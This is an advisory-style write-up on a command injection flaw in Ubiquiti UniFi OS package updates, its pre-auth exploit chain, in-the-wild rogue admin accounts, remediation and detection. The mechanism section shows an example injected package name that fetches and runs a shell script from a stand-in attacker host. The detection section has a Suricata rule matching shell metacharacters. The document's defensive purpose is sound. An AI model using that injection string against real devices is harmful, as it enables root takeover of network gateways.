CVE-2026-34910: Ubiquiti UniFi OS — Command Injection

Background

Ubiquiti is a networking hardware vendor with a large installed base of routers, switches, access points, and network video recorders deployed across small businesses, enterprises, and managed service provider networks. UniFi OS is the underlying operating system running on UniFi Dream Machine (UDM), UniFi Dream Router, UniFi Dream Wall, and Cloud Gateway product lines. These devices serve as network gateways and controllers — they manage network segmentation, VPN termination, firewall policy, and the UniFi controller software for managing the wider Ubiquiti estate. They are frequently internet-exposed with management interfaces accessible remotely.

CVE-2026-34910 is an improper input validation flaw (CWE-20) classified CVSS 10.0 CRITICAL. It exists in a function that handles package updates and allows command injection via crafted package names containing shell metacharacters. Bishop Fox researchers discovered the vulnerability and demonstrated it as part of a three-CVE chain alongside CVE-2026-34908 and CVE-2026-34909 that achieves pre-authenticated root remote code execution on the UniFi OS Server.

Ubiquiti released patches in UniFi OS Server 5.0.8 on 21 May 2026. CISA added CVE-2026-34910 to its Known Exploited Vulnerabilities catalog on 23 June 2026, with a federal remediation deadline of 26 June 2026.

Technical Mechanism

CVE-2026-34910 is located in the package update handler within UniFi OS. The function responsible for installing or updating software packages on the device fails to validate the package name parameter before passing it to a system call.

An attacker who has gained an authenticated session — or who has bypassed authentication via CVE-2026-34908 and CVE-2026-34909 — can supply a crafted package name containing shell metacharacters:

package_name = "legitimate-package; id; wget http://attacker.com/shell.sh -O /tmp/s; chmod +x /tmp/s; /tmp/s"

Because the package name is interpolated directly into a shell command without sanitisation, the injected commands execute in the context of the UniFi OS update process, which runs as root. The attacker achieves root-level command execution on the underlying Linux system.

Within the full exploit chain:

1. CVE-2026-34908 (access control bypass) — a request beginning with an auth-exempt URL prefix that, when normalised, resolves to an authenticated internal route. This allows reaching protected API endpoints without valid credentials.
2. CVE-2026-34909 (path traversal) — building on the access control bypass, the attacker traverses the file system to read or manipulate sensitive files including configuration data and credential stores.
3. CVE-2026-34910 (command injection) — with an authenticated context established, the attacker calls the package update function with a malicious package name, executing arbitrary commands as root.

Bishop Fox published a proof-of-concept demonstrating the full unauthenticated-to-root chain. No authentication is required at step one; steps two and three follow automatically once the auth-exempt prefix bypass is achieved.

Real-World Exploitation Evidence

Exploitation of this vulnerability chain was observed in the wild before patches were available. Multiple UniFi OS users reported unauthorized rogue administrator accounts created under the username ‘John Sim’ on their devices, consistent with automated post-exploitation tooling establishing persistence following initial compromise.

The rogue account creation pattern — a consistent username across incidents — indicates a coordinated, likely scripted campaign that was running as a zero-day prior to the May 2026 patch release. CISA’s addition of CVE-2026-34910 to its KEV catalog on 23 June 2026 confirms ongoing active exploitation.

Impact Assessment

• Full root code execution — command injection runs in the context of the update process, which executes with root privileges on the underlying Linux system
• Persistence — attackers have added rogue administrator accounts and can install backdoors, cron-based persistence, or modified firmware
• Network visibility — a compromised UniFi OS device sits on the network perimeter; attackers gain visibility into all traffic, VPN credentials, and firewall policy
• Lateral movement — the device manages the wider Ubiquiti estate; compromised controller credentials enable access to access points, switches, and cameras under management
• Pre-auth exploitation — when chained with CVE-2026-34908 and CVE-2026-34909, this flaw requires no authentication, expanding the attack surface to any internet-exposed UniFi OS device

Affected Versions

Remediation Steps

1. Update UniFi OS Server to version 5.0.8 or later via the UniFi OS update mechanism:
   • Log into the UniFi OS console
   • Navigate to System > Updates
   • Apply the available UniFi OS update
2. If the device cannot be immediately patched, restrict management interface access:
   • Remove WAN-side access to the UniFi OS management interface
   • Limit management access to trusted internal IPs only using firewall rules
3. Audit for rogue administrator accounts:
   • Navigate to UniFi OS > Admins and Users
   • Remove any unrecognised admin accounts, particularly any named ‘John Sim’ or created at unusual timestamps
4. Check for unexpected cron jobs or modified binaries on the device:

   crontab -l
   cat /etc/crontab
   find /tmp -type f -newer /etc/passwd

5. Rotate all credentials stored on or managed by the device: VPN pre-shared keys, admin passwords, API tokens

Detection Guidance

UniFi OS audit log — review for unexpected administrator account creation events, particularly accounts not created by recognised admins. Log in to UniFi OS and check System > Activity Log.

Outbound connections from device — a compromised UniFi OS device may initiate outbound connections to attacker infrastructure. Review firewall logs for connections originating from the device management IP to external hosts on non-standard ports.

Suricata signature (exploit chain):

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"Ubiquiti UniFi OS CVE-2026-34908/34909/34910 Exploit Chain Attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"update"; http.request_body; pcre:"/[;&|`$()]/"; classtype:web-application-attack; sid:2034910; rev:1;)

IOCs:

• Unexpected admin account creation (username ‘John Sim’ observed in confirmed compromises)
• Outbound connections from UniFi OS device to external hosts
• POST requests to update/package endpoints with shell metacharacters in the body
• Unexpected files in /tmp on device filesystem

Timeline

References

• NVD — CVE-2026-34910
• CISA KEV Catalog
• Ubiquiti Security Advisory Bulletin 064
• SecurityWeek — Critical Ubiquiti Vulnerabilities in Attackers’ Crosshairs
• BleepingComputer — CISA warns of max severity Ubiquiti flaws exploited in attacks
• Security Affairs — CISA adds Ubiquiti UniFi OS flaws to KEV catalog